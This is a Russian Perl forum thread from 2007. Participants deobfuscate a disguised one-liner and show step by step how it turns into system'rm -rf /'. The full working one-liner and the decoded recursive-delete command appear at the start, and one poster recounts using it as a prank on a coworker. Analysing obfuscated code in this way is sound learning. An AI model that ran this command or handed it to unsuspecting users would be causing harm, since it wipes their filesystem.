Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > Perl: Общие вопросы > помогите разобрать однострочник


Автор: fantome 1.12.2007, 07:22
есть вот такой однострочник
Код

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'


по сути это законспирированный 
Цитата
rm -R -f /


Помогите понять как оно работает... 

Автор: arto 1.12.2007, 08:17
# perl -MO=Deparse -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
$? ? s/;s/s;;$?/ : s//=]=>%-{<-|}<&|`{/;
tr( -/:-@[-`{-})[`-{/" \-];
s//$_;/see;
-e syntax OK
#

затем просто проверять, что каждое выражение производит

Автор: amg 1.12.2007, 11:24
По сути, там все просто. Первое, что надо сделать - воспользоваться советом arto, чтобы немного упростить задачу. Итак, имеем три строки.

$? ? s/;s/s;;$?/ : s//=]=>%-{<-|}<&|`{/; или 
if ($?) { $_ =~ s/;s/s;;$?/ } else { $_ =~ s//=]=>%-{<-|}<&|`{/ }
$? тут непричем, она будет 0, и исполнится вторая часть, которая запишет в $_ строку =>%-{<-|}<&|`{.

tr( -/:-@[-`{-})[`-{/" \-];
Здесь основная хитрость, заключающаяся в том, что при перечислении символов, которые tr будет менять, используются интервалы символов. Раскроем их:
perl -le 'print map {chr} ord(" ")..ord("-")'
...
perl -le 'print map {chr} ord("`")..ord("{")'

Получим 
$_ =~ tr( !"#$%&'()*+,-./:;<=>?@[\]^_`{|})
        [`abcdefghijklmnopqrstuvwxyz{/"\-];

После выполнения такого tr $_ превратится в system"rm -rf /"

s//$_;/see;
Тут все ясно. Пустая строка (ищущая часть оператора s///) всегда подойдет, и вторая часть исполнится (опция e)

Автор: vadiml 1.12.2007, 18:16
на ЛОРе нашли? smile

Автор: amg 2.12.2007, 10:46
Цитата(vadiml @ 1.12.2007,  18:16)
на ЛОРе нашли? smile

Если вопрос ко мне, то нет. В этом однострочнике ничего хитрого, несмотря на пугающий вид. Надо только депарсить его, а потом методично разбирать.

Вот, по-моему, высший пилотаж:
Код

#Помещает в $line случайную строку файла, не загружая при этом весь файл в память
rand($.)<1 && ($line = $_) while <>;

ЗЫ Это я не сам придумал

Автор: Anarki 2.12.2007, 11:19
Цитата(amg @ 2.12.2007,  13:46)
Вот, по-моему, высший пилотаж:
Код

#Помещает в $line случайную строку файла, не загружая при этом весь файл в память
rand($.)<1 && ($line = $_) while <>;

ЗЫ Это я не сам придумал

Ага, это из Perl Cookbook. На самом деле ничего такого.  smile 

Автор: vadiml 2.12.2007, 18:42
я задавал вопрос где нашли однострочник, а не его разбор
на ЛОРе когда-то была тема: http://www.linux.org.ru/view-message.jsp?msgid=392747

типа "запустил сам -- дай запустить другому"

Добавлено через 6 минут и 39 секунд
к сожалению сейчас топик сильно порезан, но когда только появился ...

Автор: fantome 9.12.2007, 03:47
vadiml, да, нашел там. А что?

мне было интересно как он работает. Спасибо всем, кто помог мне его разобрать. 
Извините, что так долго не отписывался - работа....

Автор: pompei 11.12.2007, 07:28
О! Нифига рулез. Спасибо за расшифровку. А я думал что это какой-то особый сжатый сиснтаксис перла, и никак не мог найти по нём документацию.

ЗЫ. Мне однажды друг попросил разобраться, а то у него, типа, не получается (под просточка прикинулся).
Ну я по доброте душевной взял и запустил.... хорошо что я привык работать под своим пользователем, а не под рутом.... пока скрипт бегал по /dev я успел нажать на Ctrl+C. Ни чё не стёрлось. Мы потом так прикололись над одним сотрудником, который постоянно сидел под рутом и игнорировал все наши доводы по поводу безопасности.... ))))))))).... он потом весь день переустанавливал свой комп и покрывал нас трёхэтажными матами, но с рута так и не слез, паразит.

  smile   smile  smile  smile  smile  smile  smile  smile  smile 

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)